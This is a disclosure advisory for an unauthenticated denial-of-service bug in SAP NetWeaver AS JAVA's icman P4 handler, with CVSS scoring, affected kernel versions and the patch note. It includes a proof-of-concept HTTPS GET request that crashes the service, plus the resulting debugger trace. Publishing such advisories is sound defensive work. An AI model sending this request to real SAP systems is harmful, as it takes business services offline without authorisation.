Application: SAP NetWeaver AS JAVA
Versions Affected: SAP NetWeaver AS JAVA 7.4
Vendor URL: http://SAP.com
Bug: Denial of Service
Sent: 22.04.2016
Reported: 23.04.2016
Vendor response: 23.04.2016
Date of Public Advisory: 09.08.2016
Reference: SAP Security Note 2313835
Author: Vahagn Vardanyan (ERPScan)
Description
1. ADVISORY INFORMATION
Title: [ERPSCAN-16-033] SAP NetWeaver AS JAVA icman a DoS vulnerability
Advisory ID:[ERPSCAN-16-033]
Risk: high
Advisory URL: https://erpscan.com/advisories/erpscan-16-033-sap-netweaver-java-icman-dos-vulnerability/
Date published: 11.11.2016
Vendors contacted: SAP
2. VULNERABILITY INFORMATION
Class: Denial of Service
Impact: Denial of Service
Remotely Exploitable: yes
Locally Exploitable: yes
CVSS Information
CVSS Base Score v3: 7.5 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) Low (L)
PR : Privileges Required (Level of privileges needed to exploit) None (N)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Unchanged (U)
C : Impact to Confidentiality None (N)
I : Impact to Integrity None (N)
A : Impact to Availability High (H)
3. VULNERABILITY DESCRIPTION
Unauthenticated attacker can make DoS attack with use P4 over HTTPS
4. VULNERABLE PACKAGES
SAP KERNEL 7.21 32-BIT
SAP KERNEL 7.21 32-BIT UNICODE
SAP KERNEL 7.21 64-BIT
SAP KERNEL 7.21 64-BIT UNICODE
SAP KERNEL 7.21 EXT 32-BIT
SAP KERNEL 7.21 EXT 32-BIT UC
SAP KERNEL 7.21 EXT 64-BIT
SAP KERNEL 7.21 EXT 64-BIT UC
SAP KERNEL 7.22 64-BIT
SAP KERNEL 7.22 64-BIT UNICODE
SAP KERNEL 7.22 EXT 64-BIT
SAP KERNEL 7.22 EXT 64-BIT UC
SAP KERNEL 7.42 64-BIT
SAP KERNEL 7.42 64-BIT UNICODE
SAP KERNEL 7.45 64-BIT
SAP KERNEL 7.45 64-BIT UNICODE
5. SOLUTIONS AND WORKAROUNDS
To correct this vulnerability, install SAP Security Note 2313835
6. AUTHOR
Vahagn Vardanyan (ERPScan)
7. TECHNICAL DESCRIPTION
Vulnerability triggers when one sends HTTPS GET request to SAP NetWeaver P4.
PoC
```
GET https://SAP_IP:50005/sap.com~P4TunnelingApp!web/myServlet HTTP/1.1
Host: 172.16.10.65:50005
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0)
Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```
0:007> r
rax=0000a323260f1252 rbx=0000000025c500d0 rcx=0000000025c500d0
rdx=0000000000000001 rsi=0000000000000002 rdi=0000000000000000
rip=000000013f3af019 rsp=0000000003500d40 rbp=0000000003500e40
r8=0000000025c50400 r9=0000006c004c0002 r10=0000000003500c20
r11=00000000021b2df0 r12=0000000000000002 r13=000000013f2c0000
r14=0000000000000000 r15=0000000000000001
iopl=0 nv up ei ng nz ac po cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
icman!P4PlugInReadHandler+0xb9:
00000001`3f3af019 8b4f04 mov ecx,dword ptr [rdi+4]
ds:00000000`00000004=????????
00000000`03500d40 00000001`3f363fb5 icman!P4PlugInReadHandler+0xb9
[d:\depot\bas\742_rel\src\krn\si\ic\p4_plg.c @ 1192]
00000000`03500ec0 00000001`3f3638ea icman!IcmMplxAsyncReadDone+0x75
[d:\depot\bas\742_rel\src\krn\si\ic\icxxmplx.c @ 5088]
00000000`03500f10 00000001`3f362626 icman!IcmMplxExecCall+0x36a
[d:\depot\bas\742_rel\src\krn\si\ic\icxxmplx.c @ 4808]
00000000`0350fd20 00000000`74901d9f icman!IcmMplxThread+0x5f6
[d:\depot\bas\742_rel\src\krn\si\ic\icxxmplx.c @ 3840]
00000000`0350fdb0 00000000`74901e3b MSVCR100!endthreadex+0x43
00000000`0350fde0 00000000`7716652d MSVCR100!endthreadex+0xdf
00000000`0350fe10 00000000`7729c541 kernel32!BaseThreadInitThunk+0xd
00000000`0350fe40 00000000`00000000 ntdll!RtlUserThreadStart+0x21
```
8. REPORT TIMELINE
Sent: 22.04.2016
Reported: 23.04.2016
Vendor response: 23.04.2016
Date of Public Advisory: 09.08.2016
9. REFERENCES
https://erpscan.com/advisories/erpscan-16-033-sap-netweaver-java-icman-dos-vulnerability/
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